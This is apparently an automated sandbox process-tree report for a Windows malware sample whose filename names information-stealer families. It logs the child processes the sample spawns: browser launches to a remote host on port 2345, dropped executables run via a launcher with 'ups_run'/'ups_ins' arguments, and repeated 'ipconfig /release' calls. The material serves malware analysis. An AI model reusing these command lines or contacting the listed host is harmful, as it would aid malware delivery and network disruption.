C:\Users\Admin\AppData\Local\Temp\2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-26_ffe3ae2cf524220b4f5ed9eb5ed4bac9_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2820
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home8102
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2884
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home8102"
    3⤵
    PID:2108
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2536
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/ll/out.txt"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2ec,0x2f0,0x2f4,0x2e8,0x2fc,0x7ff8e826c188,0x7ff8e826c194,0x7ff8e826c1a0
      4⤵
      PID:7132
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2016,i,5977988024379587389,9449769200071478591,524288 --field-trial-handle=2376,i,7085048125565033279,12839511150792843795,262144 --variations-seed-version --mojo-platform-channel-handle=2412 /prefetch:11
      4⤵
      System Time Discovery
      PID:3936
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1940,i,12511575046779181104,17961514208474885945,262144 --field-trial-handle=2376,i,7085048125565033279,12839511150792843795,262144 --variations-seed-version --mojo-platform-channel-handle=2372 /prefetch:2
      4⤵
      PID:992
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2772,i,2268549519826828723,15895738081955086307,524288 --field-trial-handle=2376,i,7085048125565033279,12839511150792843795,262144 --variations-seed-version --mojo-platform-channel-handle=2556 /prefetch:13
      4⤵
      PID:5484
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3552,i,3378431628342602250,13485603496673369358,2097152 --field-trial-handle=2376,i,7085048125565033279,12839511150792843795,262144 --variations-seed-version --mojo-platform-channel-handle=3680 /prefetch:1
      4⤵
      PID:6116
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3564,i,4104828076281812239,5323890758313039208,2097152 --field-trial-handle=2376,i,7085048125565033279,12839511150792843795,262144 --variations-seed-version --mojo-platform-channel-handle=3692 /prefetch:1
      4⤵
      PID:2516
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4304,i,4144828287542032139,6092643804018428632,2097152 --field-trial-handle=2376,i,7085048125565033279,12839511150792843795,262144 --variations-seed-version --mojo-platform-channel-handle=4432 /prefetch:1
      4⤵
      PID:1552
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5320,i,14111137442107717534,14223965758567124451,524288 --field-trial-handle=2376,i,7085048125565033279,12839511150792843795,262144 --variations-seed-version --mojo-platform-channel-handle=5348 /prefetch:14
      4⤵
      PID:4748
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5328,i,18023443352632642606,11509396643434396227,524288 --field-trial-handle=2376,i,7085048125565033279,12839511150792843795,262144 --variations-seed-version --mojo-platform-channel-handle=5272 /prefetch:14
      4⤵
      PID:4292
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5840,i,9608892948486157424,1405046908459209738,524288 --field-trial-handle=2376,i,7085048125565033279,12839511150792843795,262144 --variations-seed-version --mojo-platform-channel-handle=5856 /prefetch:14
      4⤵
      PID:2212
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5840,i,9608892948486157424,1405046908459209738,524288 --field-trial-handle=2376,i,7085048125565033279,12839511150792843795,262144 --variations-seed-version --mojo-platform-channel-handle=5856 /prefetch:14
      4⤵
      PID:2708
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1276,i,15349240817208490328,15633215912351613220,524288 --field-trial-handle=2376,i,7085048125565033279,12839511150792843795,262144 --variations-seed-version --mojo-platform-channel-handle=1420 /prefetch:14
      4⤵
      PID:4144
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1280,i,4106466453795146015,3296332593394074203,524288 --field-trial-handle=2376,i,7085048125565033279,12839511150792843795,262144 --variations-seed-version --mojo-platform-channel-handle=5244 /prefetch:14
      4⤵
      PID:4060
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1284,i,1819273686692862482,4983143847226216916,524288 --field-trial-handle=2376,i,7085048125565033279,12839511150792843795,262144 --variations-seed-version --mojo-platform-channel-handle=6560 /prefetch:14
      4⤵
      PID:5856
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5608,i,10384101761466820874,4344052399489163686,524288 --field-trial-handle=2376,i,7085048125565033279,12839511150792843795,262144 --variations-seed-version --mojo-platform-channel-handle=6212 /prefetch:14
      4⤵
      PID:6584
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6572,i,15893764067811916942,12009275144678037454,524288 --field-trial-handle=2376,i,7085048125565033279,12839511150792843795,262144 --variations-seed-version --mojo-platform-channel-handle=6532 /prefetch:14
      4⤵
      PID:6464
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1460,i,8060105866813570380,13849059497548476485,524288 --field-trial-handle=2376,i,7085048125565033279,12839511150792843795,262144 --variations-seed-version --mojo-platform-channel-handle=6208 /prefetch:14
      4⤵
      PID:5956
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6208,i,8386594352753283710,13661962756973112554,262144 --field-trial-handle=2376,i,7085048125565033279,12839511150792843795,262144 --variations-seed-version --mojo-platform-channel-handle=6012 /prefetch:10
      4⤵
      PID:6552
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6584,i,1859673243481793220,1449564911855128544,524288 --field-trial-handle=2376,i,7085048125565033279,12839511150792843795,262144 --variations-seed-version --mojo-platform-channel-handle=6208 /prefetch:14
      4⤵
      PID:1492
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\qoigbtrgoy.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:7064
- - C:\Temp\qoigbtrgoy.exe
    C:\Temp\qoigbtrgoy.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:504
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2796
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:720
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_qoigbtrgoy.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:6228
- - C:\Temp\i_qoigbtrgoy.exe
    C:\Temp\i_qoigbtrgoy.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4332
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\qljdbytqlj.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3912
- - C:\Temp\qljdbytqlj.exe
    C:\Temp\qljdbytqlj.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3136
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5560
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:776
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_qljdbytqlj.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:6884
- - C:\Temp\i_qljdbytqlj.exe
    C:\Temp\i_qljdbytqlj.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3704
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\qkifdyvqoi.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5564
- - C:\Temp\qkifdyvqoi.exe
    C:\Temp\qkifdyvqoi.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1236
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:6972
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1924
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_qkifdyvqoi.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:6752
- - C:\Temp\i_qkifdyvqoi.exe
    C:\Temp\i_qkifdyvqoi.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3660
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\sqkicaysnk.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5100
- - C:\Temp\sqkicaysnk.exe
    C:\Temp\sqkicaysnk.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2624
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3316
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:6988
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_sqkicaysnk.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5388
- - C:\Temp\i_sqkicaysnk.exe
    C:\Temp\i_sqkicaysnk.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5384
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\nkfcxvpnhf.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2552
- - C:\Temp\nkfcxvpnhf.exe
    C:\Temp\nkfcxvpnhf.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6432
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1084
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:6856
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_nkfcxvpnhf.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4588
- - C:\Temp\i_nkfcxvpnhf.exe
    C:\Temp\i_nkfcxvpnhf.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4088
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\causmkfcxu.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:6424
- - C:\Temp\causmkfcxu.exe
    C:\Temp\causmkfcxu.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2080
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:8
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:6852
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_causmkfcxu.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1968
- - C:\Temp\i_causmkfcxu.exe
    C:\Temp\i_causmkfcxu.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:720
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\hecwupmhec.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5996
- - C:\Temp\hecwupmhec.exe
    C:\Temp\hecwupmhec.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1208
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:260
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:6320
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_hecwupmhec.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4332
- - C:\Temp\i_hecwupmhec.exe
    C:\Temp\i_hecwupmhec.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3684
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\romgecwtrp.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5812
- - C:\Temp\romgecwtrp.exe
    C:\Temp\romgecwtrp.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4664
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:908
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1580
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_romgecwtrp.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:6980
- - C:\Temp\i_romgecwtrp.exe
    C:\Temp\i_romgecwtrp.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:676
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\htrljdbwto.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1924
- - C:\Temp\htrljdbwto.exe
    C:\Temp\htrljdbwto.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:7028
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3592
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:6480
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_htrljdbwto.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1264
- - C:\Temp\i_htrljdbwto.exe
    C:\Temp\i_htrljdbwto.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6556
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\gbytrljdbv.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:6300
- - C:\Temp\gbytrljdbv.exe
    C:\Temp\gbytrljdbv.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4352
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5368
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5240
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_gbytrljdbv.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3300
- - C:\Temp\i_gbytrljdbv.exe
    C:\Temp\i_gbytrljdbv.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6328
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jdbywqolfd.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5384
- - C:\Temp\jdbywqolfd.exe
    C:\Temp\jdbywqolfd.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6664
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:904
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:7048
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jdbywqolfd.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:6448
- - C:\Temp\i_jdbywqolfd.exe
    C:\Temp\i_jdbywqolfd.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5752
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ysqnigaysq.exe ups_run
  2⤵
  PID:3400
- - C:\Temp\ysqnigaysq.exe
    C:\Temp\ysqnigaysq.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6844
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2092
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:6812
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ysqnigaysq.exe ups_ins
  2⤵
  PID:6940
- - C:\Temp\i_ysqnigaysq.exe
    C:\Temp\i_ysqnigaysq.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5092
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\fdavsnlfdx.exe ups_run
  2⤵
  PID:852
- - C:\Temp\fdavsnlfdx.exe
    C:\Temp\fdavsnlfdx.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1248
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1092
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3716
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_fdavsnlfdx.exe ups_ins
  2⤵
  PID:5692
- - C:\Temp\i_fdavsnlfdx.exe
    C:\Temp\i_fdavsnlfdx.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5288
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\faxsqkicau.exe ups_run
  2⤵
  PID:2948
- - C:\Temp\faxsqkicau.exe
    C:\Temp\faxsqkicau.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1856
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3764
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1532
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_faxsqkicau.exe ups_ins
  2⤵
  PID:4880
- - C:\Temp\i_faxsqkicau.exe
    C:\Temp\i_faxsqkicau.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6480
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\mkecxupmhf.exe ups_run
  2⤵
  PID:6112
- - C:\Temp\mkecxupmhf.exe
    C:\Temp\mkecxupmhf.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5192
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4064
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:6988
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_mkecxupmhf.exe ups_ins
  2⤵
  PID:3516
- - C:\Temp\i_mkecxupmhf.exe
    C:\Temp\i_mkecxupmhf.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3308
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\mkeczurpmh.exe ups_run
  2⤵
  PID:2584
- - C:\Temp\mkeczurpmh.exe
    C:\Temp\mkeczurpmh.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1516
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:6668
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4716
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_mkeczurpmh.exe ups_ins
  2⤵
  PID:4396
- - C:\Temp\i_mkeczurpmh.exe
    C:\Temp\i_mkeczurpmh.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4460
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\bwurmjecwu.exe ups_run
  2⤵
  PID:6184
- - C:\Temp\bwurmjecwu.exe
    C:\Temp\bwurmjecwu.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4604
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:6464
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2592
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_bwurmjecwu.exe ups_ins
  2⤵
  PID:6388
- - C:\Temp\i_bwurmjecwu.exe
    C:\Temp\i_bwurmjecwu.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6780
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ebwuomgeyw.exe ups_run
  2⤵
  PID:5092
- - C:\Temp\ebwuomgeyw.exe
    C:\Temp\ebwuomgeyw.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2156
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5964
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:6304
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ebwuomgeyw.exe ups_ins
  2⤵
  PID:7148
- - C:\Temp\i_ebwuomgeyw.exe
    C:\Temp\i_ebwuomgeyw.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
